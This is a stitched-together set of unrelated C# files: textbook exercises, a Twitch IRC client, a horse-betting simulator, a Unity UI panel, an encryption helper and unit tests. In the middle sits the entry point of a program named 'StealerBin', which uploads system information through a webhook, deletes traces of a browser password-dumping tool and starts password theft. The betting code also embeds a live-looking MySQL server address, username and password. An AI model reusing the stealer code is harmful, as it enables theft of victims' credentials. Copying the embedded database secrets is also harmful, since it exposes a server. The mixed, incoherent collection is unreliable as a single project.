Console.Write("Element {0}: ",i);
arr[i] = Convert.ToInt32(Console.ReadLine());
}
Console.Write("The unique elements in this array are:\n");
for (i = 0; i < n; i++)
{
ctr = 0;
for (j = 0; j<i -1; j++)
{
if (arr[i] == arr[j])
{
ctr++;
}
}
for (k = i + 1; k <n; k++)
{
if (arr[i] == arr[k])
{
ctr++;
}
if (arr[i] == arr[i + 1])
{
i++;
}
}
if (ctr == 0)
{
Console.Write("{0} ", arr[i]);
}
}
Console.Write("\n");
Console.ReadLine();
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
//Task 9
namespace Solve_Equation
{
class Program
{
static void Main(string[] args)
{
Console.Write("Enter a: ");
int a = int.Parse(Console.ReadLine());
Console.Write("Enter b: ");
int b = int.Parse(Console.ReadLine());
Console.Write("Enter c: ");
int c = int.Parse(Console.ReadLine());
double discriminant = Math.Pow(b, 2) - 4 * a * c;
if (discriminant == 0)
{
Console.WriteLine("The equation has only one real radical.");
double x = -(b / (2 * a));
Console.WriteLine("x= {0}", x);
}
else if (discriminant > 0)
{
Console.WriteLine("The equation have two real radicals.");
double x1 = (-(b) + (Math.Sqrt(discriminant))) / (2 * a);
double x2 = (-(b) - (Math.Sqrt(discriminant))) / (2 * a);
Console.WriteLine("x1= {0}\n" + "x2= {1}", x1, x2);
}
else
{
Console.WriteLine("The equation doesn't have real radicals.");
}
}
}
}
|
using MCC.Utility;
using System;
using System.IO;
using System.Net.Sockets;
using System.Threading.Tasks;
namespace MCC.Twitch
{
public class IrcClient : ILogged
{
protected TcpClient TcpClient;
private StreamReader input;
private StreamWriter output;
public bool Connected { get; private set; }
public event LoggedEventHandler OnLogged;
public void Start(string ip, int port, string userName, string password, string channel) => Start(v => Process(v), ip, port, userName, password, channel);
public async void Start(Action<StreamReader> action, string ip, int port, string userName, string password, string channel)
{
if (TcpClient is null)
{
TcpClient = new();
}
if (!Connected)
{
try
{
await TcpClient.ConnectAsync(ip, port);
input = new(TcpClient.GetStream());
output = new(TcpClient.GetStream());
// Join
await output.WriteLineAsync("PASS " + password);
await output.WriteLineAsync("NICK " + userName);
await output.WriteLineAsync("USER " + userName + " 8 * :" + userName);
await output.WriteLineAsync("JOIN #" + channel);
await output.FlushAsync();
Connected = true;
Logged(LogLevel.Debug, $"[{ip}:{port}]");
Logged(LogLevel.Info, $"接続を開始しました。");
// Ping
await Task.Run(Ping);
// 受信開始
action(input);
}
catch (Exception e)
{
Logged(LogLevel.Error, $"[{e.InnerException}] {e.Message.ToString()}");
}
}
}
public async void Send(string message)
{
try
{
await output.WriteLineAsync(message);
await output.FlushAsync();
}
catch (Exception e)
{
Logged(LogLevel.Error, $"[{e.InnerException}] {e.Message.ToString()}");
}
}
private async void Ping()
{
while (Connected)
{
Send("PING irc.twitch.tv");
Logged(LogLevel.Debug, $"PING irc.twitch.tv");
// 5分待つ
await Task.Delay(300000);
}
}
protected virtual void Process(StreamReader reader) => throw new NotImplementedException();
public void Abort()
{
if (TcpClient is not null)
{
output.Close();
input.Close();
TcpClient.Dispose();
TcpClient = null;
Connected = false;
Logged(LogLevel.Info, $"接続を閉じました。");
}
}
public void Logged(LogLevel level, string message) => OnLogged?.Invoke(this, new(level, message));
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using MySql.Data.MySqlClient;
namespace HO偏差
{
public partial class FormTestBet : Form
{
public FormTestBet()
{
InitializeComponent();
}
private void btnTest_Click(object sender, EventArgs e)
{
using (OpenFileDialog dlg = new OpenFileDialog())
{
dlg.InitialDirectory = Application.StartupPath;
dlg.Multiselect = true;
if (dlg.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
this.btnTest.Enabled = false;
Thread t = new Thread(delegate(object args)
{
string[] filenames = (string[])args;
foreach (string filename in dlg.FileNames)
{
this.Invoke(new MethodInvoker(delegate
{
this.txtLog.AppendText(string.Format("{0:HH:mm:ss} > file {1} testing...\r\n", DateTime.Now, filename));
}));
this.handle(filename);
}
this.Invoke(new MethodInvoker(delegate
{
this.txtLog.AppendText(string.Format("{0:HH:mm:ss} > all finished\r\n", DateTime.Now));
this.btnTest.Enabled = true;
}));
});
t.Start(dlg.FileNames);
}
}
}
private const double MIN_R = 1.1;
private const double T = 10000;
private const double LOSS_RATE_COEFFICIENT = 5.43;
private const double WP_STEP = 5;
private const double QN_STEP = 10;
private const double LIMIT_SCALE = 10;
private const int MODEL = 2;
private const double E_THRESHOLD_SCALE = 1.1;
class InvestRecordWp
{
public long TimeKey { get; set; }
public int Model { get; set; }
public ulong CardID { get; set; }
public int RaceNo { get; set; }
public string Direction { get; set; }
public string HorseNo { get; set; }
public double Percent { get; set; }
public double WinAmount { get; set; }
public double WinLimit { get; set; }
public double WinOdds { get; set; }
public double WinProbility { get; set; }
public double PlcAmount { get; set; }
public double PlcLimit { get; set; }
public double PlcOdds { get; set; }
public double PlcProbility { get; set; }
public double FittingLoss { get; set; }
}
class InvestRecordQn
{
public long TimeKey { get; set; }
public int Model { get; set; }
public ulong CardID { get; set; }
public int RaceNo { get; set; }
public string Direction { get; set; }
public string Type { get; set; }
public string HorseNo { get; set; }
public double Percent { get; set; }
public double Amount { get; set; }
public double Limit { get; set; }
public double Odds { get; set; }
public double Probility { get; set; }
public double FittingLoss { get; set; }
}
private double cross_entropy(double[] p, double[] q)
{
if (p == null && q == null) return 0;
if (p == null || q == null) return double.MaxValue; // 一项为空另一项不为空,返回无穷大
if (p.Length != q.Length) return double.MaxValue; // 两项长度不一,代表马有退出,返回无穷大
double E = 0;
for (int i = 0; i < p.Length; i++)
{
E += -p[i] * Math.Log(q[i]);
}
return E;
}
private void handle(string filename)
{
RaceData race = RaceData.Load(filename);
if (race.Count < 2) return;
long tp = race.First().Key;
if (tp - race.Skip(1).First().Key != 300000) return;
RaceDataItem item = race.First().Value;
RaceDataItem item2 = race.Skip(1).First().Value;
if (item.Odds.E == 0 || item2.Odds.E == 0) return;
double[] p1, p3, pq_win, pq_plc;
Fitting.calcProbility(item2.Odds, out p1, out p3, out pq_win, out pq_plc);
// 计算预计概率与当前赔率下下注比例的交叉熵
double[] q1, qq;
double r1, rq;
q1 = Fitting.calcBetRateForWin(item.Odds, out r1);
qq = Fitting.calcBetRateForQn(item.Odds, out rq);
double E = cross_entropy(p1, q1) + cross_entropy(pq_win, qq);
// 当前赔率下交叉熵过大则退出,不下单
if (E > item2.Odds.E * E_THRESHOLD_SCALE)
{
this.Invoke(new MethodInvoker(delegate
{
this.txtLog.AppendText(string.Format("{0:HH:mm:ss} > file {1} 变化过于剧烈{2}/{3}\r\n", DateTime.Now, filename, E, item2.Odds.E));
}));
return;
}
List<InvestRecordWp> wp_records = new List<InvestRecordWp>();
for(int i=0;i<item.Odds.Count;i++)
{
Hrs h = item.Odds[i];
double sp_w_min = Math.Min(h.Win, item2.Odds[i].Win);
double sp_w_max = Math.Max(h.Win, item2.Odds[i].Win);
double sp_p_min = Math.Min(h.Plc, item2.Odds[i].Plc);
double sp_p_max = Math.Max(h.Plc, item2.Odds[i].Plc);
// For Bet
{
WaterWPList vlist = item.Waters.GetWpEatWater(h.No).GetValuableWater(MIN_R, sp_w_min, p1[i], sp_p_min, p3[i]);
double bet_amount_win = 0, bet_amount_plc = 0;
bool full_win = false, full_plc = false;
foreach (WaterWPItem w in vlist.OrderBy(x => x.Percent))
{
if (w.WinAmount > 0 && full_win) continue;
if (w.PlcAmount > 0 && full_plc) continue;
double bet_amount = -1;
if (w.WinAmount > 0)
{
double O = Math.Min(w.WinLimit / LIMIT_SCALE, sp_w_min) * 100 / w.Percent;
double max_bet = (T * Math.Pow(O * p1[i] - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * p1[i] * (1 - p1[i]));
if (bet_amount_win >= max_bet)
{
full_win = true;
continue;
}
else
{
bet_amount = Math.Min(max_bet - bet_amount_win, w.WinAmount);
}
}
if (w.PlcAmount > 0)
{
double O = Math.Min(w.PlcLimit / LIMIT_SCALE, sp_p_min) * 100 / w.Percent;
double max_bet = (T * Math.Pow(O * p3[i] - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * p3[i] * (1 - p3[i]));
if (bet_amount_plc >= max_bet)
{
full_plc = true;
continue;
}
else
{
if (bet_amount == -1)
{
bet_amount = Math.Min(max_bet - bet_amount_plc, w.PlcAmount);
}
else
{
bet_amount = Math.Min(bet_amount, Math.Min(max_bet - bet_amount_plc, w.PlcAmount)); // 有Win也有Plc, 那么Plc肯定和Win一样
}
}
}
if (bet_amount > 0)
{
bet_amount = Math.Round(bet_amount / WP_STEP) * WP_STEP;
if (bet_amount > 0)
{
InvestRecordWp ir = new InvestRecordWp()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "BET",
HorseNo = h.No,
Percent = w.Percent,
WinLimit = w.WinLimit,
PlcLimit = w.PlcLimit,
FittingLoss = item.Odds.E
};
if (w.WinLimit > 0)
{
ir.WinAmount = bet_amount;
ir.WinOdds = sp_w_min;
ir.WinProbility = p1[i];
}
if (w.PlcLimit > 0)
{
ir.PlcAmount = bet_amount;
ir.PlcOdds = sp_p_min;
ir.PlcProbility = p3[i];
}
wp_records.Add(ir);
bet_amount_win += ir.WinAmount;
bet_amount_plc += ir.PlcAmount;
}
}
}
}
// For Eat
{
WaterWPList vlist = item.Waters.GetWpBetWater(h.No).GetValuableWater(MIN_R, sp_w_max, p1[i], sp_p_max, p3[i]);
double eat_amount_win = 0, eat_amount_plc = 0;
bool full_win = false, full_plc = false;
foreach (WaterWPItem w in vlist.OrderByDescending(x => x.Percent))
{
if (w.WinAmount > 0 && full_win) continue;
if (w.PlcAmount > 0 && full_plc) continue;
double eat_amount = -1;
if (w.WinAmount > 0)
{
double O = 1 + w.Percent / 100 / Math.Min(w.WinLimit / LIMIT_SCALE, sp_w_max);
double max_eat = (T * Math.Pow(O * (1 - p1[i]) - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * (1 - p1[i]) * p1[i]);
max_eat = max_eat / Math.Min(w.WinLimit / LIMIT_SCALE, sp_w_max);
if (eat_amount_win >= max_eat)
{
full_win = true;
continue;
}
else
{
eat_amount = Math.Min(max_eat - eat_amount_win, w.WinAmount);
}
}
if (w.PlcAmount > 0)
{
double O = 1 + w.Percent / 100 / Math.Min(w.PlcLimit / LIMIT_SCALE, sp_p_max);
double max_eat = (T * Math.Pow(O * (1 - p3[i]) - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * (1 - p3[i]) * p3[i]);
max_eat = max_eat / Math.Min(w.PlcLimit / LIMIT_SCALE, sp_p_max);
if (eat_amount_plc >= max_eat)
{
full_plc = true;
continue;
}
else
{
if (eat_amount == -1)
{
eat_amount = Math.Min(max_eat - eat_amount_plc, w.PlcAmount);
}
else
{
eat_amount = Math.Min(eat_amount, Math.Min(max_eat - eat_amount_plc, w.PlcAmount));
}
}
}
if (eat_amount > 0)
{
eat_amount = Math.Round(eat_amount / WP_STEP) * WP_STEP;
if (eat_amount > 0)
{
InvestRecordWp ir = new InvestRecordWp()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "EAT",
HorseNo = h.No,
Percent = w.Percent,
WinLimit = w.WinLimit,
PlcLimit = w.PlcLimit,
FittingLoss = item.Odds.E
};
if (w.WinLimit > 0)
{
ir.WinAmount = eat_amount;
ir.WinOdds = sp_w_max;
ir.WinProbility = p1[i];
}
if (w.PlcLimit > 0)
{
ir.PlcAmount = eat_amount;
ir.PlcOdds = sp_p_max;
ir.PlcProbility = p3[i];
}
wp_records.Add(ir);
eat_amount_win += ir.WinAmount;
eat_amount_plc += ir.PlcAmount;
}
}
}
}
}
List<InvestRecordQn> qn_records = new List<InvestRecordQn>();
common.Math.Combination comb2 = new common.Math.Combination(item.Odds.Count, 2);
int[][] combinations = comb2.GetCombinations();
for (int i = 0; i < combinations.Length; i++)
{
int[] c = combinations[i];
string horseNo = string.Format("{0}-{1}", item.Odds[c[0]].No, item.Odds[c[1]].No);
if (pq_win != null)
{
double sp_min = Math.Min(item.Odds.SpQ[horseNo], item2.Odds.SpQ[horseNo]);
double sp_max = Math.Max(item.Odds.SpQ[horseNo], item2.Odds.SpQ[horseNo]);
// For Bet
{
WaterQnList vlist = item.Waters.GetQnEatWater(horseNo).GetValuableWater(MIN_R, sp_min, pq_win[i]);
double bet_amount = 0;
foreach (WaterQnItem w in vlist.OrderBy(x => x.Percent))
{
double O = Math.Min(w.Limit / LIMIT_SCALE, sp_min) * 100 / w.Percent;
double max_bet = (T * Math.Pow(O * pq_win[i] - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * pq_win[i] * (1 - pq_win[i]));
if (bet_amount >= max_bet)
{
break;
}
double current_amount = Math.Min(max_bet - bet_amount, w.Amount);
current_amount = Math.Round(current_amount / QN_STEP) * QN_STEP;
if (current_amount > 0)
{
InvestRecordQn ir = new InvestRecordQn()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "BET",
Type = "Q",
HorseNo = horseNo,
Percent = w.Percent,
Amount = current_amount,
Limit = w.Limit,
Odds = sp_min,
Probility = pq_win[i],
FittingLoss = item.Odds.E
};
qn_records.Add(ir);
bet_amount += ir.Amount;
}
}
}
// For Eat
{
WaterQnList vlist = item.Waters.GetQnBetWater(horseNo).GetValuableWater(MIN_R, sp_max, pq_win[i]);
double eat_amount = 0;
foreach (WaterQnItem w in vlist.OrderByDescending(x => x.Percent))
{
double O = 1 + w.Percent / 100 / Math.Min(w.Limit / LIMIT_SCALE, sp_max);
double max_eat = (T * Math.Pow(O * (1 - pq_win[i]) - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * (1 - pq_win[i]) * pq_win[i]);
max_eat = max_eat / Math.Min(w.Limit / LIMIT_SCALE, sp_max);
if (eat_amount >= max_eat)
{
break;
}
double current_amount = Math.Min(max_eat - eat_amount, w.Amount);
current_amount = Math.Round(current_amount / QN_STEP) * QN_STEP;
if (current_amount > 0)
{
InvestRecordQn ir = new InvestRecordQn()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "EAT",
Type = "Q",
HorseNo = horseNo,
Percent = w.Percent,
Amount = current_amount,
Limit = w.Limit,
Odds = sp_max,
Probility = pq_win[i],
FittingLoss = item.Odds.E
};
qn_records.Add(ir);
eat_amount += ir.Amount;
}
}
}
}
if (pq_plc != null)
{
double sp_min = Math.Min(item.Odds.SpQp[horseNo], item2.Odds.SpQp[horseNo]);
double sp_max = Math.Max(item.Odds.SpQp[horseNo], item2.Odds.SpQp[horseNo]);
// For Bet
{
WaterQnList vlist = item.Waters.GetQpEatWater(horseNo).GetValuableWater(MIN_R, sp_min, pq_plc[i]);
double bet_amount = 0;
foreach (WaterQnItem w in vlist.OrderBy(x => x.Percent))
{
double O = Math.Min(w.Limit / LIMIT_SCALE, sp_min) * 100 / w.Percent;
double max_bet = (T * Math.Pow(O * pq_plc[i] - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * pq_plc[i] * (1 - pq_plc[i]));
if (bet_amount >= max_bet)
{
break;
}
double current_amount = Math.Min(max_bet - bet_amount, w.Amount);
current_amount = Math.Round(current_amount / QN_STEP) * QN_STEP;
if (current_amount > 0)
{
InvestRecordQn ir = new InvestRecordQn()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "BET",
Type = "QP",
HorseNo = horseNo,
Percent = w.Percent,
Amount = current_amount,
Limit = w.Limit,
Odds = sp_min,
Probility = pq_plc[i],
FittingLoss = item.Odds.E
};
qn_records.Add(ir);
bet_amount += ir.Amount;
}
}
}
// For Eat
{
WaterQnList vlist = item.Waters.GetQpBetWater(horseNo).GetValuableWater(MIN_R, sp_max, pq_win[i]);
double eat_amount = 0;
foreach (WaterQnItem w in vlist.OrderByDescending(x => x.Percent))
{
double O = 1 + w.Percent / 100 / Math.Min(w.Limit / LIMIT_SCALE, sp_max);
double max_eat = (T * Math.Pow(O * (1 - pq_plc[i]) - 1, 2)) / (LOSS_RATE_COEFFICIENT * Math.Pow(O, 2) * (1 - pq_plc[i]) * pq_plc[i]);
max_eat = max_eat / Math.Min(w.Limit / LIMIT_SCALE, sp_max);
if (eat_amount >= max_eat)
{
break;
}
double current_amount = Math.Min(max_eat - eat_amount, w.Amount);
current_amount = Math.Round(current_amount / QN_STEP) * QN_STEP;
if (current_amount > 0)
{
InvestRecordQn ir = new InvestRecordQn()
{
TimeKey = tp,
Model = MODEL,
CardID = race.CardID,
RaceNo = race.RaceNo,
Direction = "EAT",
Type = "QP",
HorseNo = horseNo,
Percent = w.Percent,
Amount = current_amount,
Limit = w.Limit,
Odds = sp_max,
Probility = pq_plc[i],
FittingLoss = item.Odds.E
};
qn_records.Add(ir);
eat_amount += ir.Amount;
}
}
}
}
}
using (MySqlConnection conn = new MySqlConnection("server=120.24.210.35;user id=hrsdata;password=abcd0000;database=hrsdata;port=3306;charset=utf8"))
{
conn.Open();
using (MySqlCommand cmd = new MySqlCommand(@"
insert into sl_invest_wp (time_key,model,cd_id,rc_no,direction,hs_no,percent,w_limit,p_limit,rc_time,fitting_loss,w_amt,w_od,w_prob,p_amt,p_od,p_prob)
values (?time_key,?model,?cd_id,?rc_no,?direction,?hs_no,?percent,?w_limit,?p_limit,?rc_time,?fitting_loss,?w_amt,?w_od,?w_prob,?p_amt,?p_od,?p_prob)
on duplicate key update rc_time=?rc_time,fitting_loss=?fitting_loss,w_amt=?w_amt,w_od=?w_od,w_prob=?w_prob,p_amt=?p_amt,p_od=?p_od,p_prob=?p_prob,lmt=CURRENT_TIMESTAMP()
", conn))
{
cmd.Parameters.Add("?time_key", MySqlDbType.Int64);
cmd.Parameters.Add("?model", MySqlDbType.Int32);
cmd.Parameters.Add("?cd_id", MySqlDbType.UInt64);
cmd.Parameters.Add("?rc_no", MySqlDbType.Int32);
cmd.Parameters.Add("?direction", MySqlDbType.VarChar, 10);
cmd.Parameters.Add("?hs_no", MySqlDbType.Int32);
cmd.Parameters.Add("?percent", MySqlDbType.Decimal);
cmd.Parameters.Add("?w_limit", MySqlDbType.Decimal);
cmd.Parameters.Add("?p_limit", MySqlDbType.Decimal);
cmd.Parameters.Add("?rc_time", MySqlDbType.DateTime);
cmd.Parameters.Add("?fitting_loss", MySqlDbType.Decimal);
cmd.Parameters.Add("?w_amt", MySqlDbType.Decimal);
cmd.Parameters.Add("?w_od", MySqlDbType.Decimal);
cmd.Parameters.Add("?w_prob", MySqlDbType.Decimal);
cmd.Parameters.Add("?p_amt", MySqlDbType.Decimal);
cmd.Parameters.Add("?p_od", MySqlDbType.Decimal);
cmd.Parameters.Add("?p_prob", MySqlDbType.Decimal);
foreach (InvestRecordWp ir in wp_records)
{
cmd.Parameters["?time_key"].Value = ir.TimeKey;
cmd.Parameters["?model"].Value = ir.Model;
cmd.Parameters["?cd_id"].Value = ir.CardID;
cmd.Parameters["?rc_no"].Value = ir.RaceNo;
cmd.Parameters["?direction"].Value = ir.Direction;
cmd.Parameters["?hs_no"].Value = int.Parse(ir.HorseNo);
cmd.Parameters["?percent"].Value = ir.Percent;
cmd.Parameters["?w_limit"].Value = ir.WinLimit;
cmd.Parameters["?p_limit"].Value = ir.PlcLimit;
cmd.Parameters["?rc_time"].Value = race.StartTime;
cmd.Parameters["?fitting_loss"].Value = ir.FittingLoss;
cmd.Parameters["?w_amt"].Value = ir.WinAmount;
cmd.Parameters["?w_od"].Value = ir.WinOdds;
cmd.Parameters["?w_prob"].Value = ir.WinProbility;
cmd.Parameters["?p_amt"].Value = ir.PlcAmount;
cmd.Parameters["?p_od"].Value = ir.PlcOdds;
cmd.Parameters["?p_prob"].Value = ir.PlcProbility;
cmd.ExecuteNonQuery();
}
}
using (MySqlCommand cmd = new MySqlCommand(@"
insert into sl_invest_qn(time_key,model,cd_id,rc_no,direction,q_type,hs_no,percent,q_limit,rc_time,fitting_loss,amt,od,prob)
values (?time_key,?model,?cd_id,?rc_no,?direction,?q_type,?hs_no,?percent,?q_limit,?rc_time,?fitting_loss,?amt,?od,?prob)
on duplicate key update rc_time=?rc_time,fitting_loss=?fitting_loss,amt=?amt,od=?od,prob=?prob,lmt=CURRENT_TIMESTAMP()
", conn))
{
cmd.Parameters.Add("?time_key", MySqlDbType.Int64);
cmd.Parameters.Add("?model", MySqlDbType.Int32);
cmd.Parameters.Add("?cd_id", MySqlDbType.UInt64);
cmd.Parameters.Add("?rc_no", MySqlDbType.Int32);
cmd.Parameters.Add("?direction", MySqlDbType.VarChar, 10);
cmd.Parameters.Add("?q_type", MySqlDbType.VarChar, 10);
cmd.Parameters.Add("?hs_no", MySqlDbType.VarChar, 20);
cmd.Parameters.Add("?percent", MySqlDbType.Decimal);
cmd.Parameters.Add("?q_limit", MySqlDbType.Decimal);
cmd.Parameters.Add("?rc_time", MySqlDbType.DateTime);
cmd.Parameters.Add("?fitting_loss", MySqlDbType.Decimal);
cmd.Parameters.Add("?amt", MySqlDbType.Decimal);
cmd.Parameters.Add("?od", MySqlDbType.Decimal);
cmd.Parameters.Add("?prob", MySqlDbType.Decimal);
foreach (InvestRecordQn ir in qn_records)
{
cmd.Parameters["?time_key"].Value = ir.TimeKey;
cmd.Parameters["?model"].Value = ir.Model;
cmd.Parameters["?cd_id"].Value = ir.CardID;
cmd.Parameters["?rc_no"].Value = ir.RaceNo;
cmd.Parameters["?direction"].Value = ir.Direction;
cmd.Parameters["?q_type"].Value = ir.Type;
cmd.Parameters["?hs_no"].Value = ir.HorseNo;
cmd.Parameters["?percent"].Value = ir.Percent;
cmd.Parameters["?q_limit"].Value = ir.Limit;
cmd.Parameters["?rc_time"].Value = race.StartTime;
cmd.Parameters["?fitting_loss"].Value = ir.FittingLoss;
cmd.Parameters["?amt"].Value = ir.Amount;
cmd.Parameters["?od"].Value = ir.Odds;
cmd.Parameters["?prob"].Value = ir.Probility;
cmd.ExecuteNonQuery();
}
}
}
}
}
}
|
// Copyright 2017-2019 Elringus (Artyom Sovetnikov). All Rights Reserved.
using System.Threading.Tasks;
using UnityCommon;
namespace Naninovel.UI
{
public class LoadingPanel : ScriptableUIBehaviour, ILoadingUI
{
private StateManager stateManager;
private InputManager inputManager;
public Task InitializeAsync () => Task.CompletedTask;
protected override void Awake ()
{
base.Awake();
stateManager = Engine.GetService<StateManager>();
inputManager = Engine.GetService<InputManager>();
}
protected override void OnEnable ()
{
base.OnEnable();
stateManager.OnGameLoadStarted += HandleLoadStarted;
stateManager.OnGameLoadFinished += HandleLoadFinished;
stateManager.OnResetStarted += Show;
stateManager.OnResetFinished += Hide;
inputManager.AddBlockingUI(this);
}
protected override void OnDisable ()
{
base.OnDisable();
if (stateManager != null)
{
stateManager.OnGameLoadStarted -= HandleLoadStarted;
stateManager.OnGameLoadFinished -= HandleLoadFinished;
stateManager.OnResetStarted -= Show;
stateManager.OnResetFinished -= Hide;
}
inputManager?.RemoveBlockingUI(this);
}
private void HandleLoadStarted (GameSaveLoadArgs args) => Show();
private void HandleLoadFinished (GameSaveLoadArgs args) => Hide();
}
}
|
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Windows.Forms;
namespace StealerBin
{
public class Hook
{
[STAThread]
private static void Main()
{
if (File.Exists("C:/temp/System_INFO.txt"))
{
new API(API.Hook)
{
_name = API.name,
_ppUrl = API.pfp
}.SendSysInfo("**SYSTEM INFO**", "C:/temp/System_INFO.txt");
File.Delete("C:/temp/System_INFO.txt");
}
File.Delete("C:/temp/finalres.vbs");
File.Delete("C:/temp/WebBrowserPassView.exe");
API.Passwords();
Stealer.StartSteal();
Environment.Exit(0);
}
}
}
|
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="Encryption.cs" company="CGI">
// Copyright (c) CGI. All rights reserved.
// </copyright>
// --------------------------------------------------------------------------------------------------------------------
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace CGI.Reflex.Core.Utilities
{
public static class Encryption
{
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("vNHP2JcnRoJLTKxXg4oV");
[SuppressMessage("Microsoft.Usage", "CA2202:DoNotDisposeObjectsMultipleTimes", Justification = "Classes are resilient to multiple Dispose() calls")]
public static string Encrypt(string strToEncrypt)
{
if (string.IsNullOrEmpty(References.ReferencesConfiguration.EncryptionKey))
throw new Exception("To use encryption you must initialize an EncryptionKey in ReferencesConfiguration.");
using (var key = new Rfc2898DeriveBytes(References.ReferencesConfiguration.EncryptionKey, Salt))
{
using (var aesAlg = new AesManaged())
{
aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
aesAlg.IV = key.GetBytes(aesAlg.BlockSize / 8);
var encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (var streamEncrypt = new MemoryStream())
{
using (var streamWriterEncrypt = new StreamWriter(new CryptoStream(streamEncrypt, encryptor, CryptoStreamMode.Write)))
{
streamWriterEncrypt.Write(strToEncrypt);
}
return Convert.ToBase64String(streamEncrypt.ToArray());
}
}
}
}
[SuppressMessage("Microsoft.Usage", "CA2202:DoNotDisposeObjectsMultipleTimes", Justification = "Classes are resilient to multiple Dispose() calls")]
public static string Decrypt(string strToDecrypt)
{
if (string.IsNullOrEmpty(References.ReferencesConfiguration.EncryptionKey))
throw new Exception("To use encryption you must initialize an EncryptionKey in ReferencesConfiguration.");
using (var key = new Rfc2898DeriveBytes(References.ReferencesConfiguration.EncryptionKey, Salt))
{
using (var aesAlg = new AesManaged())
{
aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
aesAlg.IV = key.GetBytes(aesAlg.BlockSize / 8);
var decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
var bytes = Convert.FromBase64String(strToDecrypt);
using (var streamDecrypt = new MemoryStream(bytes))
{
using (var streamReaderDecrypt = new StreamReader(new CryptoStream(streamDecrypt, decryptor, CryptoStreamMode.Read)))
{
return streamReaderDecrypt.ReadToEnd();
}
}
}
}
}
public static string Hash(string value)
{
if (string.IsNullOrEmpty(References.ReferencesConfiguration.EncryptionKey))
throw new Exception("To use encryption you must initialize an EncryptionKey in ReferencesConfiguration.");
using (var key = new Rfc2898DeriveBytes(References.ReferencesConfiguration.EncryptionKey, Salt))
{
using (var sha = new HMACSHA256(key.GetBytes(32)))
{
return Convert.ToBase64String(sha.ComputeHash(Encoding.UTF8.GetBytes(value)));
}
}
}
public static string GenerateRandomToken(int maxLength)
{
using (var cryptoProvider = new RNGCryptoServiceProvider())
{
var randomNumber = new byte[maxLength];
cryptoProvider.GetBytes(randomNumber);
return Convert.ToBase64String(randomNumber).MaxLength(maxLength);
}
}
}
}
|
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using OrderedSet;
using System.Collections.Generic;
namespace OrderedSet
{
[TestClass]
public class UnitTestOrderedSet
{
[TestMethod]
public void Add_EmptyOrderedSet_NoDuplicates_ShouldAddElement()
{
// Arrange
var orderedSet = new OrderedSet<int>();
// Act
var elements = new List<int> {-5, 16, 0, 555};
foreach (var element in elements)
{
orderedSet.Add(element);
}
elements.Sort();
// Assert
var actualElements = orderedSet.ToList();
CollectionAssert.AreEquivalent(elements, actualElements);
}
[TestMethod]
public void Add_1000_Elements_Grow_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
// Act
var expectedElements = new List<int>();
for (int i = 0; i < 1000; i++)
{
orderedSet.Add(i);
expectedElements.Add(i);
}
// Assert
var actualElements = orderedSet.ToList();
Assert.AreEqual(expectedElements.Count, actualElements.Count);
}
[TestMethod]
public void Count_Empty_Add_Remove_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
// Assert
Assert.AreEqual(0, orderedSet.Count);
// Act & Assert
orderedSet.Add(555);
orderedSet.Add(-555);
orderedSet.Add(555);
Assert.AreEqual(2, orderedSet.Count);
// Act & Assert
bool removed = orderedSet.Remove(-555);
Assert.AreEqual(1, orderedSet.Count);
Assert.IsTrue(removed);
// Act & Assert
removed = orderedSet.Remove(-555);
Assert.AreEqual(1, orderedSet.Count);
Assert.IsFalse(removed);
// Act & Assert
removed = orderedSet.Remove(555);
Assert.AreEqual(0, orderedSet.Count);
Assert.IsTrue(removed);
}
[TestMethod]
public void Contains_ExistingElement_ShouldReturnTrue()
{
// Arrange
var orderedSet = new OrderedSet<int>();
orderedSet.Add(1);
// Act
var contains = orderedSet.Contains(1);
// Assert
Assert.IsTrue(contains);
}
[TestMethod]
public void Contains_NonExistingElement_ShouldReturnFalse()
{
// Arrange
var orderedSet = new OrderedSet<int>();
orderedSet.Add(5);
// Act
var contains = orderedSet.Contains(1);
// Assert
Assert.IsFalse(contains);
}
[TestMethod]
public void Remove_ExistingElement_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
orderedSet.Add(12);
orderedSet.Add(99);
// Assert
Assert.AreEqual(2, orderedSet.Count);
// Act
var removed = orderedSet.Remove(12);
// Assert
Assert.IsTrue(removed);
Assert.AreEqual(1, orderedSet.Count);
}
[TestMethod]
public void Remove_NonExistingElement_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
orderedSet.Add(12);
orderedSet.Add(99);
// Assert
